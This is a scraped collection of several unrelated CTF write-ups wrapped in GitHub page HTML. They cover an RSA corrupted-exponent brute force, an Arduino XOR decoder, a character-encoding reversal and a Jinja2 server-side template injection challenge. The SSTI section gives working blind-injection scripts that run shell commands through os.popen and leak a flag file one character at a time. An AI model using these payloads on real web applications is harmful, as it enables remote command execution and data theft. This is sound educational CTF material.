:B5FE419C7585A617DC2FCED225EAABA4345C3E69CE33823694B1A2FF498A13DA3BD5A3061DD665912149D10E2F08F2199BC1F8B4D62716C6C38BFD16907E6D9F5870A7F19BC3922157C3F60ABCF16AA83248A087A33664E7C91E1398C6EDC85587573C599788E30606F8A5C9706119C3CCEC8EC732A67683F856A414DCAC1C43</div>So we notice that the third integer is corrupted : 01AAAA and from the challenge name we can guess we're on the right track !So here's the thing : the minimum value that this exponent can take is 65536 (0x010000) and the maximum value is 131071 (0x01FFFF)The idea here is simple then : we have everything including p and q so we need to brute force the public exponent knowing that we have to generate a private exponent that matches the one we havehere's a simple python script that does the job for us :<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="from Crypto.Util.number import *
We recovered a private PEM key that a spy used to encrypt a secret message, but it appears as though one of the RSA key components got corrupted. Can you find a way to retrieve the message?
So the first thing that I did was running the asn1parse command to see the different components of the corrupted key :
So we notice that the third integer is corrupted : 01AAAA and from the challenge name we can guess we're on the right track !
So here's the thing : the minimum value that this exponent can take is 65536 (0x010000) and the maximum value is 131071 (0x01FFFF)
The idea here is simple then : we have everything including p and q so we need to brute force the public exponent knowing that we have to generate a private exponent that matches the one we have
here's a simple python script that does the job for us :
p = 170796690670149105967813113382240505264948946083779586225654103308455488484955325942435054455489163709901661752475987135208117710882465445438716967370656724411467295069033290926317928181839183115857695607269318815355418951302758625104112455758674321597170318312608293648437083737653529431390940141417376656363q = 148642998867368974873367801833129614874516289477879330501274056446035580016863921172640657206956948700028292330318518525531134043765361989080527137024999373411614110609856551202314420763429763536035853618803223901065359478539557924348825167340722079773893879969151857740258435351842073683199730747819312533459 n = p*qphi = (p-1)*(q-1)priv = 13761744353781520241535090155051521309604275579476680716784306044762933961357488224827562217535999947493507674766115812321129673788361142574817557971070748449686502671562600150406609274926237701752769893224204627008072460501416639851704326685417649585674585895088216243892373351458092620189812954760710952411647514051134306291425495198399934563635483021996439038914522228072525917162300334529714139657210200573187092007200148137878796564219640817582728732477620825903532578099970067908169454303632714801798650213786717234256711336277305677096018021695116440207686688923013835576173959490279696050775677855331079686411
for e in range(65536, 131071): if GCD(e, phi) == 1: d = pow(e, -1, phi) if (d == priv): print(e)">from Crypto.Util.number import *
p = 170796690670149105967813113382240505264948946083779586225654103308455488484955325942435054455489163709901661752475987135208117710882465445438716967370656724411467295069033290926317928181839183115857695607269318815355418951302758625104112455758674321597170318312608293648437083737653529431390940141417376656363q = 148642998867368974873367801833129614874516289477879330501274056446035580016863921172640657206956948700028292330318518525531134043765361989080527137024999373411614110609856551202314420763429763536035853618803223901065359478539557924348825167340722079773893879969151857740258435351842073683199730747819312533459 n = p*qphi = (p-1)*(q-1)priv = 13761744353781520241535090155051521309604275579476680716784306044762933961357488224827562217535999947493507674766115812321129673788361142574817557971070748449686502671562600150406609274926237701752769893224204627008072460501416639851704326685417649585674585895088216243892373351458092620189812954760710952411647514051134306291425495198399934563635483021996439038914522228072525917162300334529714139657210200573187092007200148137878796564219640817582728732477620825903532578099970067908169454303632714801798650213786717234256711336277305677096018021695116440207686688923013835576173959490279696050775677855331079686411
for e in range(65536, 131071): if GCD(e, phi) == 1: d = pow(e, -1, phi) if (d == priv): print(e)</div>the script gives the following output :<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/coruptAAAAd_FINISHED] - [mer. mai 18, 13:35]└─[$] <> python3 dc.py 79631">┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/coruptAAAAd_FINISHED] - [mer. mai 18, 13:35]└─[$] <> python3 dc.py 79631</div>perfect ! we can now generate a new private key using the tool rsatool.pyand now for the final part : writing the decryption script :<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import base64from Crypto.Util.number import *from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5
the script gives the following output :
perfect ! we can now generate a new private key using the tool rsatool.py
and now for the final part : writing the decryption script :
ct = open('encryptedmessage.enc', 'r')m = ct.read()message_bytes = base64.b64decode(m)
p = 0xF338F9C19E2D2F1715232E3121FD0A3615B9C6F87757A59BB8C507185BA7CDDE90F4DB7B49D4B0A8AD6E492C49E5D3D75FD61ED27C6D714D68D4330596CC08222CC8B641DF4ACF02D9A9D2A1115CDACC1FC2DFFC56308BCCCC4FCBC64CCE95F991C65DE43F56B67F74F7D2877AF7191B97783226B4F2C5E2AB8B67CBE0162BEBq = 0xD3ACB64C7F034F4DA31EFC3A1FE6C86AA6536246897D081B4446BEB2A66970EF66962757ED3016E463CCD7077F35347A2AEE37E5B8C2290AA97CC7E1BC84BCECBEF25FFF7C5AF30870E6850100B032BBA6E51C1BFF4CAEB5FDEE46D9DADF1A558E8DAAABAD5191A4EC7929DA109139B7437C36A5B6E911D4EA60E236EB1FCFD3 n = p*qphi = (p-1)*(q-1)e = 79631
if GCD(e, phi) == 1: # get decryption key d = inverse(e, phi) # create private key privkey = RSA.construct((n, e, d, p, q)) key = PKCS1_v1_5.new(privkey)try: # attempt to decrypt message with current privkey pt = key.decrypt(message_bytes, "").decode() print(f"e: {e}") print(f"Plaintext: {pt}")except: pass">import base64from Crypto.Util.number import *from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5
ct = open('encryptedmessage.enc', 'r')m = ct.read()message_bytes = base64.b64decode(m)
p = 0xF338F9C19E2D2F1715232E3121FD0A3615B9C6F87757A59BB8C507185BA7CDDE90F4DB7B49D4B0A8AD6E492C49E5D3D75FD61ED27C6D714D68D4330596CC08222CC8B641DF4ACF02D9A9D2A1115CDACC1FC2DFFC56308BCCCC4FCBC64CCE95F991C65DE43F56B67F74F7D2877AF7191B97783226B4F2C5E2AB8B67CBE0162BEBq = 0xD3ACB64C7F034F4DA31EFC3A1FE6C86AA6536246897D081B4446BEB2A66970EF66962757ED3016E463CCD7077F35347A2AEE37E5B8C2290AA97CC7E1BC84BCECBEF25FFF7C5AF30870E6850100B032BBA6E51C1BFF4CAEB5FDEE46D9DADF1A558E8DAAABAD5191A4EC7929DA109139B7437C36A5B6E911D4EA60E236EB1FCFD3 n = p*qphi = (p-1)*(q-1)e = 79631
if GCD(e, phi) == 1: # get decryption key d = inverse(e, phi) # create private key privkey = RSA.construct((n, e, d, p, q)) key = PKCS1_v1_5.new(privkey)try: # attempt to decrypt message with current privkey pt = key.decrypt(message_bytes, "").decode() print(f"e: {e}") print(f"Plaintext: {pt}")except: pass</div>and voilà ! we get the flag !<h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Flag</h1>PCTF{g1mm3_th3_e}
and voilà ! we get the flag !
PCTF{g1mm3_th3_e}
</div>
</div></div></div> </div> </div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/tree/master/m0lecon22/fancynotes) (https://github.com/nikosChalk/ctf-writeups/tree/master/m0lecon22/fancynotes) |
This web app is vulnerable to template injection, but `{{` and `}}` is filtered, so we can't use the same method. Jinja has support for if statement templates that look like this: `{% if 'test' == 'test' %} render this string if true {% endif %}`. Let's see what happens when we send this message:
Since Python is an OOP language, we can Method Resolution Order (MRO) to traverse across classes to a method we want, such as `os.popen`. Read more about this here: https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/. The following payload makes use of this to run the `ls` command: `{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read() == 'test' %} a {% endif %}`
The problem is that we won't see the output. Instead of `ls`, you could just put a reverse shell and that'd be it, but I removed netcat from the docker and filtered basically any other useful special character so people can't do this.
We can instead do a blind test for the output of the command: `{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('" + str(x) + "') %} found {% endif %}`
If we put any character in `x`, then we can test if the output of the `ls` command starts with that character by checking if we see `found` returned back to us. Let's run this with the letter "D": `{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('D') %} found {% endif %}`
I chose "D" because `Dockerfile` is the first file in the docker. We just need to script this so we can see the whole output of `ls`. Once we have that, we can try to find the path to the `/admin.html` page so we can read the flag.
Here is the script:```pythonfrom os import popenimport stringimport requests
SERVER_ADDR = "http://127.0.0.1:5000" # replace this with the actual IP of the docker
def get_cookie(): data = { "username": "test", # make sure to make a test:test user first "password": "test" }
req = requests.post(SERVER_ADDR+"/login", data=data) cookiejar = req.history[0].cookies cookie = cookiejar.get_dict()['session']
return cookie
cookie = {"session": get_cookie()}
final = ""while True: for x in string.printable: x = final + x payload = {'message':"{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('" + str(x) + "') %} found {% endif %}", 'username':'admin'} r = requests.post(url=SERVER_ADDR + "/messages", data=payload, cookies=cookie) if 'found' in r.text: final = x print(final) break else: pass```
Let's run it:
We see the directory strucutre. We can keep running this until we find the /admin.html file, but I'll skip that. I use a basic flask directory structure, so it is located in `/app/templates/admin.html`. Now let's read the file. There is a lot of HTML fluff that would make the process take forever, so we can speed it up by grepping for `Flag` first. Here's the script:```pythonfrom os import popenimport stringimport requests
SERVER_ADDR = "http://127.0.0.1:5000"
def get_cookie(): data = { "username": "test", "password": "test" }
req = requests.post(SERVER_ADDR+"/login", data=data) cookiejar = req.history[0].cookies cookie = cookiejar.get_dict()['session']
return cookie
cookie = {"session": get_cookie()}
final = "Flag: PCTF{"while True: for x in string.printable: x = final + x payload = {'message':"{% if request.application.__globals__.__builtins__.__import__('os').popen('grep -io flag.*\} ./app/templates/admin.html').read().startswith('" + str(x) + "') %} found {% endif %}", 'username':'admin'} r = requests.post(url=SERVER_ADDR + "/messages", data=payload, cookies=cookie) if 'found' in r.text: final = x print(final) break else: pass```
Let's run it:
 |
# Dweeno
## Category: Hardware
### We found this wack program running on an Arduino Mega using some spider-looking thing on a breadboard. The information we need is redacted in the program we found, but we managed to grab the serial output from the program. Help us figure out what this information is!
## A look at the resources
What do we have?
* source.ino - Arduino IDE sketch. Basically source code for some binary* sketch.pdf - a connection diagram for whatever is running the said binary* setup.jpg - a convenient photo of an actual real-world setup* output.txt - some binary data; 38 lines-long, each line is 8 bits (probably a 38-character string)
## Analyzing the setup
The connection diagram caught my eye immediately. We can see an Arduino MEGA here, connected to an unidentified IC on the breadboard.
**4070** is written on the IC, so I do a quick lookup.
This gives me an idea of what I may be looking at. Specifically, _4 XOR gates in one assembly_.
**setup.jpg** includes the actual IC marking.
Look _MC74HC86N_ up... And bingo! We have the pinout.
Let's take a look at the source now.
**void loop()** is very simple to understand. Enjoy my explanation in the comments.
```cvoid loop() { if (i < strlen(flag)) { //char * flag curr = binary(flag[i]); //binary (int number) is converting the flag byte-by-byte into 8-bit binary strings first = curr.substring(0,4); //first half of binary string second = curr.substring(4,8); //second half of binary string Serial.print(get_output(first)); //operate on the first half Serial.println(get_output(second)); //operate on the second half delay(1000); i++; }}```
The only other function I'll explain is **String get_output(String bits)**.
```cString get_output(String bits) { String output; // process 4 bits at a time digitalWrite(out1, ((bits[0] == '1')? HIGH : LOW)); //write each bit in parallel to the 'out' pins digitalWrite(out2, ((bits[1] == '1')? HIGH : LOW)); digitalWrite(out3, ((bits[2] == '1')? HIGH : LOW)); digitalWrite(out4, ((bits[3] == '1')? HIGH : LOW)); delay(1000); output += String(digitalRead(in1)); //collect each xor'd bit in parallel from the 'in' pins output += String(digitalRead(in2)); output += String(digitalRead(in3)); output += String(digitalRead(in4)); return output; //that's it!} ```
And here we have the mapping of our input and output pins.
```cint in1=29, in2=27, in3=25, in4=23;int out1=53, out2=51, out3=49, out4=47;```
With this, I'll simplify the connection diagram a bit.
Here, I marked each XOR operation in order. Basically, the gates take one input from the corresponding pin on the Arduino, and the other from either +5V bus or GND bus. +5V is a logical 1 in this case, while GND is a logical 0.
## Writing a script to decode the output
With this information, writing a decoder is as simple, as xoring each line in **output.txt** one more time.
```python#!/usr/bin/python3
import sys
outstr = "" # create output string
def xor(bits):
ret = ""
ret += str(int(bits[0]) ^ 0) #xor 4 bits at a time ret += str(int(bits[1]) ^ 1) ret += str(int(bits[2]) ^ 0) ret += str(int(bits[3]) ^ 1)
return ret
with open(sys.argv[1], "r") as inFile: #take filename as argv[1]
for line in inFile.readlines():
line = line.strip()
part1 = line[0:4] #divide each line into 4-bit parts part2 = line[4:8]
outstr += chr(int(xor(part1) + xor(part2),2)) #xor the two parts, concatenate them, convert everything to a character, append to output string
print(outstr)```
``` ./rev.py output.txt flag{a16b8027cf374b115f7c3e2f622d84bc}```
Easy. But very neat :)
Fantastic hardware challenge for beginners IMO. |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/m0lecon22/dumbforum/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/m0lecon22/dumbforum/README.md) |
```for i in range(0,len(flag)): print(chr(ord(flag[i])>>8), end="") print(chr(int(bin(ord(flag[i]))[9:], 2)),end="")```The flag is converted to another string consisting of 16-bit characters of half the length from original size, after doing some research and searching for the correct python functions, I thought that what I needed to do was to convert each character of the encoded string of strange characters into binary, and then discard the first 8 bits, but this is the first problem of the problem. The second stage started when I saw the output and said: -Damn, half of this flag is missing! Then I started to examine the encryption algorithm in a little more detail and I realized this. The length of the flag is skipped by twos, and after eight zeros are added to the beginning of the expression showing the flag index in each loop, the next index of the flag is added to this statement, and the encrypted flag is exactly that. At this point, I have reversed everything, I hope you will understand easily if you read my code well. The reason why I got after the 9th index of the binary is that python's bin function adds the letter 'b' before the extra last bit, and if the bin function normally gave the binary, I would take after the 8th index and print it. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 